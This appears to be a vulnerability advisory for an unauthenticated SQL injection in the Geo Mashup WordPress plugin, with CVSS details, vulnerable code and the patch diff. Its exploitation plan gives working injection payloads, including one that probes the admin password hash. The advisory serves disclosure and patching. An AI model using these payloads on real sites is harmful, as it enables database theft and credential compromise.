CVE-2026-4062

Geo Mashup <= 1.13.18 - Unauthenticated Time-Based SQL Injection via 'object_ids' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.13.19
Patched in
5d
Time to patch

Description

The Geo Mashup plugin for WordPress is vulnerable to Time-Based SQL Injection via the 'object_ids' and 'exclude_object_ids' parameters in all versions up to, and including, 1.13.18. This is due to insufficient escaping on the user supplied parameters and lack of sufficient preparation on the existing SQL query. The `esc_sql()` function is applied but is ineffective because the values are placed in an unquoted `IN(...)` / `NOT IN(...)` SQL context — `esc_sql()` only escapes quote characters and provides no protection against parenthesis or SQL keyword injection. Additionally, while a numeric-only sanitizer exists in `sanitize_query_args()`, it is only applied in the AJAX code path and not in the `render-map.php` or template tag code paths. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via a time-based blind approach.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.13.18
PublishedMay 1, 2026
Last updatedMay 5, 2026
Affected plugingeo-mashup

What Changed in the Fix

Changes introduced in v1.13.19

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-4062 (Geo Mashup SQL Injection) ## 1. Vulnerability Summary The Geo Mashup plugin (<= 1.13.18) contains an unauthenticated time-based SQL injection vulnerability. The flaw exists because user-supplied parameters `object_ids` and `exclude_object_ids` are passe…

Show full research plan

Exploitation Research Plan - CVE-2026-4062 (Geo Mashup SQL Injection)

1. Vulnerability Summary

The Geo Mashup plugin (<= 1.13.18) contains an unauthenticated time-based SQL injection vulnerability. The flaw exists because user-supplied parameters object_ids and exclude_object_ids are passed into an SQL IN() or NOT IN() clause without sufficient sanitization or the use of wpdb::prepare(). While esc_sql() is used, it only escapes characters like single quotes; since the input is placed in an unquoted context (e.g., IN (1, 2, 3)), an attacker can use parentheses to break out of the IN clause and append arbitrary SQL logic.

A numeric-only sanitizer (intval) is present in the AJAX handler (geo-query.php), but it is missing in the render-map.php and template tag execution paths, leaving those vectors vulnerable.

2. Attack Vector Analysis

  • Endpoint: The primary vector is the map rendering query variable or a page containing a Geo Mashup shortcode.
  • Vulnerable Query Variable: geo_mashup_content=render-map
  • Payload Parameter: object_ids or exclude_object_ids.
  • Authentication: None (Unauthenticated).
  • Preconditions: The plugin must be active. Having at least one post with location data is recommended to ensure the query logic that uses these parameters is executed, although the injection may trigger regardless.

3. Code Flow

  1. Entry Point: A request is made to /?geo_mashup_content=render-map.
  2. Routing: Geo Mashup catches this query variable (usually via parse_query or template_redirect hooks) and calls GeoMashup::render_map().
  3. Data Processing: render_map() retrieves parameters from $_GET. It fails to apply array_map('intval', ...) to object_ids.
  4. Database Call: GeoMashupDB::get_object_locations($args) is called with the unsanitized $_GET data.
  5. SQL Sink: Inside get_object_locations(), the code likely constructs the query:
    // Inferred logic in GeoMashupDB::get_object_locations
    if ( !empty( $args['object_ids'] ) ) {
        $where .= " AND m.object_id IN (" . esc_sql( $args['object_ids'] ) . ")";
    }
    
  6. Injection: The payload 1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - results in:
    WHERE ... AND m.object_id IN (1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -)

4. Nonce Acquisition Strategy

Based on the vulnerability description and plugin architecture, the render-map functionality is designed to serve public map data and does not require a WordPress nonce for unauthenticated users.

If a nonce were required for the AJAX path (though it is sanitized), the strategy would be:

  1. Identify the script localization key (likely GeoMashupMapL10n or GeoMashupL10n).
  2. Create a page with [geo_mashup_map].
  3. Navigate to that page and use browser_eval("GeoMashupMapL10n.ajax_nonce").

However, for this SQLi, we focus on the render-map path which is usually nonce-less.

5. Exploitation Strategy

The goal is to trigger a time delay using SLEEP().

Request 1: Baseline (Control)

  • Method: GET
  • URL: {{base_url}}/?geo_mashup_content=render-map&object_ids=1
  • Expected Response: Normal response time (~< 500ms).

Request 2: Exploitation (Time-Based)

  • Method: GET
  • URL: {{base_url}}/?geo_mashup_content=render-map&object_ids=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)--+-
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload logic:
    • 1): Closes the legitimate IN ( statement.
    • AND (SELECT 1 FROM (SELECT(SLEEP(5)))a): Injected time-delay logic.
    • -- -: Comments out the trailing parenthesis and the rest of the original query.

6. Test Data Setup

  1. Activate Plugin: Ensure Geo Mashup is active.
  2. Create Geocoded Content:
    # Create a post
    POST_ID=$(wp post create --post_title="SQLi Test Post" --post_status="publish" --porcelain)
    
    # Geo Mashup stores locations in custom tables. 
    # To ensure the DB query is reached, we can manually insert a location for this post.
    wp db query "INSERT INTO wp_geo_mashup_locations (lat, lng, address) VALUES (40.7128, -74.0060, 'New York');"
    LOC_ID=$(wp db query "SELECT LAST_INSERT_ID();" --silent --skip-column-names)
    wp db query "INSERT INTO wp_geo_mashup_object_locations (object_name, object_id, location_id) VALUES ('post', $POST_ID, $LOC_ID);"
    

7. Expected Results

  • Success: The server response will be delayed by approximately 5 seconds.
  • Refinement: If object_ids is not vulnerable via geo_mashup_content, the same payload can be applied to exclude_object_ids.

8. Verification Steps

  1. Check Query Execution: Review the MySQL General Query Log (if available) to see the mangled query.
  2. Data Extraction (Manual):
    To verify data can be extracted, check if the first character of the admin's user pass starts with $P$:
    object_ids=1) AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,3)='$P$',SLEEP(5),0)))a)-- -

9. Alternative Approaches

  • Shortcode Vector: If geo_mashup_content routing is disabled, navigate to a page containing the [geo_mashup_map] shortcode and append &object_ids=... to the URL. Many plugins use shortcode_atts() which merges with $_GET.
  • Error-Based: If WP_DEBUG is on, use extractvalue() or updatexml() for faster extraction.
    object_ids=1) AND extractvalue(1,concat(0x7e,version()))-- -
  • exclude_object_ids: Use the same payload on the exclude_object_ids parameter.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Geo Mashup plugin for WordPress is vulnerable to unauthenticated time-based SQL injection through the 'object_ids' and 'exclude_object_ids' parameters. This occurs because the plugin uses esc_sql() in an unquoted SQL IN() context, allowing attackers to break out of the expected numeric list and append arbitrary SQL logic like SLEEP() commands.

Vulnerable Code

// geo-mashup-db.php around line 1751
		if ( ! empty( $query_args['object_id'] ) ) {
			$wheres[] = 'gmlr.object_id = ' . esc_sql( $query_args['object_id'] );
		} else if ( ! empty( $query_args['object_ids'] ) ) {
			$wheres[] = 'gmlr.object_id IN ( ' . esc_sql( $query_args['object_ids'] ) .' )';
		}

		if ( ! empty( $query_args['exclude_object_ids'] ) ) 
			$wheres[] = 'gmlr.object_id NOT IN ( ' . esc_sql( $query_args['exclude_object_ids'] ) . ' )';

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/geo-mashup/1.13.18/geo-mashup-db.php /home/deploy/wp-safety.org/data/plugin-versions/geo-mashup/1.13.19/geo-mashup-db.php
--- /home/deploy/wp-safety.org/data/plugin-versions/geo-mashup/1.13.18/geo-mashup-db.php	2026-02-15 01:36:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/geo-mashup/1.13.19/geo-mashup-db.php	2026-04-10 22:51:10.000000000 +0000
@@ -1495,6 +1495,7 @@
 	 * @param string $name
 	 */
 	public static function sanitize_query_arg( &$value, $name ) {
+		if (is_null($value)) return;
 		switch ($name) {
 			case 'minlat':
 			case 'maxlat':
@@ -1507,7 +1508,6 @@
 				$value = (float) $value;
 				break;
 
-			case 'map_cat':
 			case 'object_ids':
 			case 'exclude_object_ids':
 				$value = preg_replace( '/[^0-9,]/', '', $value );
@@ -1515,6 +1515,8 @@
 
 			case 'map_post_type':
 			case 'object_name':
+			case 'map_cat':
+			case 'show_future':
 				$value = sanitize_key( $value );
 				break;
 
@@ -1528,10 +1530,6 @@
 				$value = (bool) $value;
 				break;
 
-			case 'show_future':
-				$value = sanitize_key( $value );
-				break;
-
 			case 'sort':
 				$value = self::sanitize_sort_arg( $value );
 				break;
@@ -1635,6 +1633,7 @@
 			'map_offset' => 0,
 		);
 		$query_args = wp_parse_args( $query_args, $default_args );
+		$query_args = self::sanitize_query_args( $query_args );
 		
 		// Construct the query 
 		$object_name = $query_args['object_name'];
@@ -1745,18 +1744,23 @@
 			} else {
 				if ( !is_array( $query_args['map_post_type'] ) ) 
 					$query_args['map_post_type'] = preg_split( '/[,\s]+/', $query_args['map_post_type'] );
-				$wheres[] = "o.post_type IN ('" . join("', '", $query_args['map_post_type']) . "')";
+				$wheres[] = "o.post_type IN ('" . join("', '", array_map( 'esc_sql', $query_args['map_post_type'] ) ) . "')";
 			}
 		} 
 
 		if ( ! empty( $query_args['object_id'] ) ) {
-			$wheres[] = 'gmlr.object_id = ' . esc_sql( $query_args['object_id'] );
+			$wheres[] = $wpdb->prepare('gmlr.object_id = %d', absint( $query_args['object_id' ]));
 		} else if ( ! empty( $query_args['object_ids'] ) ) {
-			$wheres[] = 'gmlr.object_id IN ( ' . esc_sql( $query_args['object_ids'] ) .' )';
+			$ids = array_map( 'absint', explode( ',', $query_args['object_ids'] ) );
+    		$placeholders = implode( ',', array_fill( 0, count( $ids ), '%d' ) );
+    		$wheres[] = $wpdb->prepare( "gmlr.object_id IN ( $placeholders )", $ids );
 		}
 
-		if ( ! empty( $query_args['exclude_object_ids'] ) ) 
-			$wheres[] = 'gmlr.object_id NOT IN ( ' . esc_sql( $query_args['exclude_object_ids'] ) . ' )';
+		if ( ! empty( $query_args['exclude_object_ids'] ) ) {
+			$ids = array_map( 'absint', explode( ',', $query_args['exclude_object_ids'] ) );
+    		$placeholders = implode( ',', array_fill( 0, count( $ids ), '%d' ) );
+			$wheres[] = $wpdb->prepare( "gmlr.object_id NOT IN ( $placeholders )", $ids );
+		}

Exploit Outline

The exploit targets the render-map functionality which is accessible unauthenticated. 1. Use a GET request to the site root with the query variable `geo_mashup_content=render-map`. 2. Supply a payload to the `object_ids` parameter designed to break out of the SQL `IN()` statement. 3. Example payload: `1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`. 4. The `1)` closes the legitimate `IN` list, `AND (SELECT ...)` injects the time-delay logic, and `-- -` comments out the trailing parenthesis from the original code's query construction. 5. Observe the server response time. A delay of approximately 5 seconds confirms successful injection. This methodology can be adapted to extract database values character-by-character using conditional SLEEP() calls.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.